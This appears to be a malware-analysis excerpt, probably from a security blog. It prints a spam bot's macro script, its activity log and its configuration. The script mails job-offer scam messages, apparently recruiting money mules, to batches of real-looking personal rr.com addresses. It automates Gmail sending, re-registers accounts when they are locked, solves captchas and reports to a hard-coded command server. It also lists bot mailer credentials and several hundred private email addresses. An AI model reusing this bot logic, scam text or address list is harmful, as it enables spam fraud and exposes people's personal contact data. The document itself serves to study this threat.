conf,to,"kblanton9@tx.rr.com,kcontant@ca.rr.com,kc21@carolina.rr.com,kc2713@cfl.rr.com,kc4@stny.rr.com,kc2@rochester.rr.com,kc2@stny.rr.com,kc2pam@twcny.rr.com,kc2@woh.rr.com,kc2apq@nycap.rr.com", conf,body,"Hello.\nOur corporation is searching for staff in the US to be our agent in the North America .\nFunding of $70k per year.\nNo investments asked from you.\nInterested? Please go to our web site, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"perfect funding", conf,to,"kc2bmz@twcny.rr.com,kc2lfj@twcny.rr.com,kc2kkr@si.rr.com,kc2meo@wi.rr.com,kc44ronald@tampabay.rr.com,kc4asf@bham.rr.com,kc4gfr@columbus.rr.com,kadiddlehop@socal.rr.com,kadid3@socal.rr.com,kadie.lehde@socal.rr.com", conf,body,"Greets.\nA multinational corporation is currently searching for staff across the US to act as our representative in the region .\nIncome is USD70k /yr.\nNo investments asked from you\nInterested? Visit our page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your opportunity", conf,to,"kadie_rj@socal.rr.com,jon.gowen@tx.rr.com,kcobb21@tx.rr.com,jtoungaian@ca.rr.com,kathinla@ca.rr.com,keithtotty@tx.rr.com,kelkoho@tx.rr.com,joan_jensen@tx.rr.com,kelligirl30@ca.rr.com,kandmclayton@sc.rr.com", conf,body,"Greets.\nOur corporation is searching for staff in the United States to become our representative in the region \nFunding of $100k /yr.\nNo hidden fees, no marketing stuff.\nAre you interested? Visit our site, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"fine employment", conf,to,"kandpburkhardt@rochester.rr.com,kandoo80@rochester.rr.com,kandm@rochester.rr.com,kandmsferro@carolina.rr.com,kandms@carolina.rr.com,kandqsmom@carolina.rr.com,kandp@hawaii.rr.com,kando@hawaii.rr.com,kelleybusch@ca.rr.com,kcopeland@tampabay.rr.com", conf,body,"Hi\nAn overseas corporation is currently seeking people across the United States to act as our agent in the North America .\nFunding of USD50'000 per year.\nNo hidden fees, no marketing stuff\nInterested? Please go to our web site, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"fine instant credit", conf,to,"kcope@tampabay.rr.com,kcorcor1@tampabay.rr.com,kcorbett5@tampabay.rr.com,kcopp@tampabay.rr.com,kcorley3@tampabay.rr.com,kcorley2@tampabay.rr.com,kcordner@tampabay.rr.com,kcordero@tampabay.rr.com,kcorpus@rochester.rr.com,kcoronas@rochester.rr.com", conf,body,"Hi there.\nAn overseas corporation is seeking staff across the US to become our agent in the North America .\nIncome is $70k per year.\nNo investments asked from you.\nInterested? Please go to our web site, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"fine opportunity", conf,to,"kcorley@kc.rr.com,kcorrea@tampabay.rr.com,kcorr1@tampabay.rr.com,kcoronad@tampabay.rr.com,kcorley1@kc.rr.com,kcorey@kc.rr.com,kcordes@kc.rr.com,kcorbin@kc.rr.com,kcopeland@kc.rr.com,kcornelius@nyc.rr.com", conf,body,"Greets\nAn overseas corporation is seeking people across the United States to be our representative in the North America .\nIncome is USD50'000 per year.\nNo fees, no marketing tricks.\nInterested? Please go to our site, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your additional income", conf,to,"kcopeland@nyc.rr.com,kcornacchione@neo.rr.com,kcorley5@sc.rr.com,kcopeland@sc.rr.com,kcorbett@twmi.rr.com,kcopeland@twmi.rr.com,kcornelison@woh.rr.com,kcor@woh.rr.com,kcopella@woh.rr.com,kcorbett@wi.rr.com", conf,body,"Hi there.\nAn overseas corporation is searching for staff in the US to act as our representative in the North America .\nIncome is $70k per year.\nNo investments asked from you.\nInterested? Please go to our web site, to know more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your dream business", conf,to,"kcoppins@wi.rr.com,kcopening@wi.rr.com,kcorbett@cfl.rr.com,kcorbett1@cfl.rr.com,kcoppelli@cfl.rr.com,kcopertino@cfl.rr.com,kcornils@wi.rr.com,kcornelius1@wi.rr.com,kcorley4@austin.rr.com,kcordova@austin.rr.com", conf,body,"Hi\nA multinational corporation is currently searching for people across the United States to act as our agent in the North America .\nFunding of USD50000 per year.\nNo investments asked from you.\nInterested? Visit our site, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"nice income", conf,to,"kcopley@austin.rr.com,kcoplen@dc.rr.com,kcorby1@san.rr.com,kcopp@san.rr.com,kcorcoran@san.rr.com,kcorreia@san.rr.com,kcorlett@san.rr.com,kcorbin@maine.rr.com,kcoppen1@maine.rr.com,kcordas@socal.rr.com", conf,body,"Hi.\nAn overseas corporation is currently seeking staff in the US to be our agent in the region \nIncome is USD50'000 /yr.\nWe don't ask for any investment\nAre you interested? Please go to our web page, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"perfect employment", conf,to,"kcord@socal.rr.com,kcorcoran@socal.rr.com,kcoppin@socal.rr.com,kcornwell@cinci.rr.com,kcornett@cinci.rr.com,kcorneilius@cinci.rr.com,kcorder@cinci.rr.com,kcorcoran@cinci.rr.com,kcopsey@cinci.rr.com,kcorapi@si.rr.com", conf,body,"Hi.\nOur corporation is searching for people in the USA to act as our agent in the North America .\nIncome is USD100000 /yr.\nNo hidden fees, no marketing stuff\nInterested? Visit our page, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your dream money making", conf,to,"kcornwell@nycap.rr.com,kcorneli@nycap.rr.com,kcorlew@nycap.rr.com,kcorcor1@nycap.rr.com,kcorbet2@nycap.rr.com,kcornell@nc.rr.com,kcorbett1@nc.rr.com,kcorkey@ec.rr.com,kcorbett@ec.rr.com,kcorkran@twcny.rr.com", conf,body,"Greets\nA multinational corporation is seeking staff in the United States to act as our agent in the region .\nFunding of $100k per year.\nWe don't ask for any investment\nAre you interested? Visit our web site, to know more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"fine funding", conf,to,"kcorgnel@twcny.rr.com,kcorey@twcny.rr.com,kcoronado@satx.rr.com,kcornell@satx.rr.com,kcordes@satx.rr.com,kcorder3@satx.rr.com,kcorradi@carolina.rr.com,kcororan@twcny.rr.com,kcornell@insight.rr.com,kcornelison@bak.rr.com", conf,body,"Hi.\nAn overseas corporation is seeking people in the United States to become our agent in the North America .\nFunding of $70000 /yr.\nNo fees, no marketing tricks.\nInterested? Please go to our web page, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"ideal career", conf,to,"kcorrado@hvc.rr.com,kcorr@hvc.rr.com,kellywilch@ca.rr.com,keith.howlett@tx.rr.com,kellybird@tx.rr.com,kenspires@woh.rr.com,kenspoopiegirl@wi.rr.com,kcranmer@stny.rr.com,kcravens@austin.rr.com,kcrans@austin.rr.com", conf,body,"Hi\nA multinational corporation is searching for staff across the United States to be our representative in the North America .\nFunding of $70'000 /year.\nNo investments asked from you\nAre you interested? Visit our web site, to know more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your dream additional income", conf,to,"kcrawford@austin.rr.com,kcrech@austin.rr.com,kcrawfor@insight.rr.com,kcransto@insight.rr.com,kcreasey@nc.rr.com,kcrealty@nc.rr.com,kcrawford2@nc.rr.com,kcrawford1@nc.rr.com,kcrawford@socal.rr.com,kcreel@nc.rr.com", conf,body,"Hi\nA multinational corporation is currently searching for people across the United States to be our representative in the region \nFunding of $100000 /year.\nWe don't ask for any investment\nInterested? Visit our page, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your income", conf,to,"kcreecy@nc.rr.com,kcreasy@nc.rr.com,kcrenwick@socal.rr.com,kcreasey@socal.rr.com,kcreel-franksiau@sc.rr.com,kcreek@sc.rr.com,kcrawford@sc.rr.com,kcrawford4@nyc.rr.com,kcrenshaw@bak.rr.com,kcreech@indy.rr.com", conf,body,"Greets.\nA multinational corporation is currently searching for people in the USA to act as our representative in the region .\nFunding of USD50'000 per year.\nNo hidden fees, no marketing stuff\nInterested? Visit our page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"home financial freedom", conf,to,"kcregier@satx.rr.com,kcreech@satx.rr.com,kcrenshaw@wi.rr.com,kathyruth@kc.rr.com,kathyscholldesigns@satx.rr.com,kathysavage@ec.rr.com,kathys@austin.rr.com,kathysanders@hawaii.rr.com,kathys@hawaii.rr.com,kdlucas@tampabay.rr.com", conf,body,"Greets.\nOur corporation is currently searching for people across the USA to be our representative in the North America \nFunding of USD50000 /yr.\nWe don't ask for any investment.\nAre you interested? Please go to our web site, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your dream job", conf,to,"kdlmedia@triad.rr.com,kdm218@wi.rr.com,kdmart@rochester.rr.com,kdm929@rochester.rr.com,kdm46@rochester.rr.com,kdm38@rochester.rr.com,kdmason@insight.rr.com,kdm815@insight.rr.com,kdm85@bak.rr.com,kdmatthis@austin.rr.com", conf,body,"Hi.\nOur corporation is searching for staff across the United States to be our representative in the North America \nIncome is $50'000 /year.\nNo investments asked from you.\nAre you interested? Visit our page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"home financial freedom", conf,to,"jzquilter@ca.rr.com,jwright59@cfl.rr.com,jwright1@cfl.rr.com,jwright136@cfl.rr.com,jwright104@cfl.rr.com,jwright83@cfl.rr.com,jwright7@cfl.rr.com,jwright71@cfl.rr.com,jwright69@cfl.rr.com,jwright68@cfl.rr.com", conf,body,"Greets\nAn overseas corporation is seeking people across the United States to act as our agent in the North America .\nFunding of USD50'000 per year.\nNo fees, no marketing tricks\nAre you interested? Please go to our web page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"perfect money", conf,to,"jwright@cfl.rr.com,jwright@wi.rr.com,jwright2@wi.rr.com,jwright108@wi.rr.com,jwright12@austin.rr.com,jwright1238@austin.rr.com,jwright23@austin.rr.com,jwright33@austin.rr.com,jwright43@ec.rr.com,jwright50@austin.rr.com", conf,body,"Hi there.\nAn overseas corporation is seeking people across the United States to act as our agent in the North America .\nIncome is USD50'000 per year.\nNo hidden fees, no marketing stuff.\nAre you interested? Visit our site, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your dream business", conf,to,"jwright41@austin.rr.com,jwright20@ec.rr.com,jwright10@ec.rr.com,jwright24@ec.rr.com,jwright8@maine.rr.com,jwright7@maine.rr.com,jwright6@maine.rr.com,jwright10@maine.rr.com,jwright@maine.rr.com,jwright29@neo.rr.com", conf,body,"Hi there.\nAn overseas corporation is searching for people across the United States to be our representative in the region \nFunding of $70k per year.\nNo investments asked from you.\nInterested? Please go to our web site, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"home money", conf,to,"jwright28@neo.rr.com,jwright1@neo.rr.com,jwright15@neo.rr.com,jwright3@neo.rr.com,jwright31@neo.rr.com,jwright6@neo.rr.com,jwright35@satx.rr.com,jwright2@satx.rr.com,jwright21@satx.rr.com,jwright20@satx.rr.com", conf,body,"Hi there\nOur corporation is searching for staff across the United States to act as our agent in the North America .\nIncome is USD70000 /year.\nWe don't ask for any investment\nInterested? Visit our page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"perfect employment", conf,to,"jwright53@satx.rr.com,jwright43@satx.rr.com,jwright40@satx.rr.com,jwright9@satx.rr.com,jwright8@satx.rr.com,jwright1@stx.rr.com,jwright10@stx.rr.com,jwright@cinci.rr.com,jwright7@cinci.rr.com,jwright5@cinci.rr.com", conf,body,"Greets\nOur corporation is searching for staff in the USA to act as our agent in the region .\nIncome is $100000 /year.\nNo investments asked from you\nAre you interested? Visit our web page, to know more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"perfect employment", conf,to,"jwright3@cinci.rr.com,jwright2@cinci.rr.com,jwright22@tampabay.rr.com,jwright2097@tampabay.rr.com,jwright2058@tampabay.rr.com,jwright2002@tampabay.rr.com,jwright1@tampabay.rr.com,jwright@hot.rr.com,jwright12@tampabay.rr.com,jwright6@tampabay.rr.com", conf,body,"Greets.\nA multinational corporation is currently searching for staff in the US to be our representative in the North America \nIncome is $70k per year.\nNo investments asked from you.\nInterested? Please go to our web site, to know more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your opportunity", conf,to,"jwright67@tampabay.rr.com,jwright4@tampabay.rr.com,jwright20@nc.rr.com,jwright15@nc.rr.com,jwright1236@nc.rr.com,jwright1224@nc.rr.com,jwright1222@nc.rr.com,jwright@tampabay.rr.com,jwright9@tampabay.rr.com,jwright@nc.rr.com", conf,body,"Hello\nAn overseas corporation is seeking people across the United States to act as our agent in the North America .\nIncome is $70k per year.\nNo investments asked from you.\nInterested? Please go to our web site, to know more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"home opportunity", conf,to,"jwright7@nc.rr.com,jwright6@nc.rr.com,jwright5@nc.rr.com,jwright284@nc.rr.com,jwright@carolina.rr.com,jwright82@carolina.rr.com,jwright7292@carolina.rr.com,jwright1@carolina.rr.com,jwright19@carolina.rr.com,jwright18@carolina.rr.com", conf,body,"Hello.\nA multinational corporation is currently searching for staff across the United States to act as our agent in the North America .\nIncome is USD70k /yr.\nNo investments asked from you\nInterested? Please go to our site, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"home instant credit", conf,to,"jwright16@carolina.rr.com,jwright4@carolina.rr.com,jwright7291@carolina.rr.com,jwright7290@carolina.rr.com,jwright7280@carolina.rr.com,jwright7210@carolina.rr.com,jwright15@san.rr.com,jwright2@san.rr.com,jwright1@san.rr.com,jwright@san.rr.com", conf,body,"Hi there.\nA multinational corporation is currently seeking staff across the USA to be our agent in the region .\nIncome is USD50'000 /year.\nNo fees, no marketing tricks\nAre you interested? Visit our site, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your dream financial freedom", conf,to,"jwright7@san.rr.com,jwright6@san.rr.com,jwright5@san.rr.com,jwright37@triad.rr.com,jwright32@triad.rr.com,jwright29@triad.rr.com,jwright20@triad.rr.com,jwright67@triad.rr.com,jwright4@triad.rr.com,jwright@triad.rr.com", conf,body,"Hi.\nAn overseas corporation is currently seeking people across the United States to be our representative in the North America .\nFunding of $70'000 /year.\nWe don't ask for any investment\nAre you interested? Please go to our web page, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"perfect career", conf,to,"jwright34@kc.rr.com,jwright18@kc.rr.com,jwright16@kc.rr.com,jwright65@kc.rr.com,jwright62@kc.rr.com,jwright4@new.rr.com,jwright13@new.rr.com,jwright39@sc.rr.com,jwright21@sc.rr.com,jwright16@sc.rr.com", conf,body,"Hi\nA multinational corporation is currently seeking people across the United States to be our representative in the region \nFunding of $70k per year.\nWe don't ask for any investment\nInterested? Visit our web site, to know more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your dream business", conf,to,"jwright15@sc.rr.com,jwright13@sc.rr.com,jwright@sc.rr.com,jwright4@sc.rr.com,jwright14@stny.rr.com,jwright9@stny.rr.com,jwright1@stny.rr.com,jwright18@stny.rr.com,jwright@stny.rr.com,jwright50@woh.rr.com", conf,body,"Hello.\nA multinational corporation is seeking staff in the US to be our representative in the North America \nIncome is USD100'000 /year.\nWe don't ask for any investment\nAre you interested? Please go to our web page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"ideal financial freedom", conf,to,"jwright5@columbus.rr.com,jwright2@columbus.rr.com,jwright@columbus.rr.com,jwright9@columbus.rr.com,jwright90@columbus.rr.com,jwright4@nycap.rr.com,jwright3@nycap.rr.com,jwright21@nycap.rr.com,jwright1@nycap.rr.com,jwright7@nycap.rr.com", conf,body,"Greets.\nA multinational corporation is currently seeking staff in the US to be our agent in the North America .\nFunding of $100k /year.\nNo fees, no marketing tricks.\nInterested? Visit our web site, to know more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", goto,Report, Clear Mail Cache ####### exit,SendOk, ####### ####### DoSend: goto,SendMails, if,$result,"goto,PacketSent,","goto,PacketLost,", return,ok, ####### PacketSent: Packet Is Sent, Add it to report String ifeq,"$to","",,"conf_add,sent,\"$to,\",", ifeq,"$cc","",,"conf_add,sent,\"$cc,\",", ifeq,"$bcc","",,"conf_add,sent,\"$bcc,\",", conf_inc,num_sent, return,ok, ####### PacketLost: Packet Is Lost, Add All to report String conf_add,lost,"$to,", conf_add,lost,"$cc,", conf_add,lost,"$bcc,", #conf,stop,True, conf_inc,num_lost, return,ok, ####### SendMails: clicktext,"Compose", ifeq,"$to","",,"fill,to,\"$to\",", ifeq,"$cc","",,"fill,cc,\"$cc\",", ifeq,"$bcc","",,"fill,bcc,\"$bcc\",", fill,subject,"$subject", fill,body,"$body", click,nvp_bu_send,, If Account Locked - reregister if,"text_search,\"Your message has been sent\",","return,ok,","", if,"text_search,\"Account Lockdown\",","goto,reregister,","", if,"text_search,\"Temporary Error\",","goto,reregister,","", if,"text_search,\"were not recognized\",","click,nvp_bu_discard,,","", #Enter on to login page again if unknown error url,"hxxp://mail.google.com/mail/?ui=html&zy=f","hxxp://mail.google.com/mail/", return,unKnownError, reregister: goto,Report, search_link,,logout, # Register execute,hxxp://72.36.234.114/wm.php?macros=gmail/register.txt&botstatus=registering, If not ok - retry if,$result,,"report,CannotRegister,", if,$result,,"sleep,100,", if,$result,,"goto,reregister,", Save Login and pass on the server execute,hxxp://72.36.234.114/wmr.php?botstatus=sending&action=saveloginpass, return,ok, Report: #### Report Mails #### execute,hxxp://72.36.234.114/wmr.php?botstatus=sent&action=report, conf,sent,, conf,lost,, return,ok, ------------------------------------------------------------------------ It continuously keeps monitoring and retrying the activities and keeps a log of it: ------------------ Memo1 Executing: hxxp://72.36.234.114/wm.php?macros=gmail/index.txt&botstatus=inactive Executing: hxxp://72.36.234.114/wmr.php?botstatus=sent&action=report Result: Executing: hxxp://72.36.234.114/wm.php?macros=gmail/register.txt&botstatus=registering Result: CannotCreateAccount Executing: hxxp://72.36.234.114/wmr.php Result: Executing: hxxp://72.36.234.114/wmr.php?botstatus=sending&action=saveloginpass Result: Executing: hxxp://72.36.234.114/wmr.php?botstatus=sent&action=report Result: Result: SendOk Executing: hxxp://72.36.234.114/wm.php?macros=gmail/index.txt&botstatus=inactive ------------------ RELOAD_JOBS=10 BROWSER_DELAY=3 CONTROL_PAGE=hxxp://72.36.234.114/wm.php?macros=gmail/index.txt&botstatus=inactive REPORTS_PAGE=hxxp://72.36.234.114/wmr.php CAPTCHA_PAGE=hxxp://prx.freecj.com/dcc3/captcha.php TICKETS_PAGE=hxxp://72.36.175.154/test/botform.php?action=sbm botid=9876543210 REG_NAME=chkdrv botlogin=admin1 current_script=hxxp://72.36.234.114/wmr.php?botstatus=sent&action=report current_line=367 mailer=gmail line_return=9,9, mailerlogin=fglhqdajwi mailerpass=gejwwassas num_captchas=1 subject=ideal financial freedom to=jwright5@columbus.rr.com,jwright2@columbus.rr.com,jwright@columbus.rr.com,jwright9@columbus.rr.com,jwright90@columbus.rr.com,jwright4@nycap.rr.com,jwright3@nycap.rr.com,jwright21@nycap.rr.com,jwright1@nycap.rr.com,jwright7@nycap.rr.com body=Greets.\nA multinational corporation is currently seeking staff in the US to be our agent in the North America .\nFunding of $100k /year.\nNo fees, no marketing tricks.\nInterested? Visit our web site, to know more\n\n result=ok